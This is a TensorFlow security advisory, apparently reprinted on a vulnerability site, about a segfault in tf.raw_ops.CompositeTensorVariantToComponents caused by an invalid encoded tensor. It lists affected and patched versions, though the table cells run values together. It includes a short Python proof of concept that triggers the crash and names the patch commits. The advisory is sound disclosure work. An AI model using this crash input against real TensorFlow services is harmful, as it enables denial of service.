| Package | Affected versions | Patched versions |
|---|---|---|
| tensorflow | ≥ 2.10.0, < 2.10.1≥ 2.9.0, < 2.9.3< 2.8.4 | 2.10.12.9.32.8.4 |
| tensorflow-cpu | ≥ 2.10.0, < 2.10.1≥ 2.9.0, < 2.9.3< 2.8.4 | 2.10.12.9.32.8.4 |
| tensorflow-gpu | ≥ 2.10.0, < 2.10.1≥ 2.9.0, < 2.9.3< 2.8.4 | 2.10.12.9.32.8.4 |
| tensorflow | = 2.10.0≥ 2.9.0, < 2.9.3< 2.8.4 | 2.9.32.8.4 |
An input encoded that is not a valid CompositeTensorVariant tensor will trigger a segfault in tf.raw_ops.CompositeTensorVariantToComponents.
import tensorflow as tf
encode = tf.raw_ops.EmptyTensorList(element_dtype=tf.int32, element_shape=[10, 15], max_num_elements=2)
meta= ""
component=[tf.int32]
print(tf.raw_ops.CompositeTensorVariantToComponents(encoded=encode,metadata=meta,Tcomponents=component))
We have patched the issue in GitHub commits bf594d08d377dc6a3354d9fdb494b32d45f91971 and 660ce5a89eb6766834bdc303d2ab3902aef99d3d.
The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by [email protected]
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free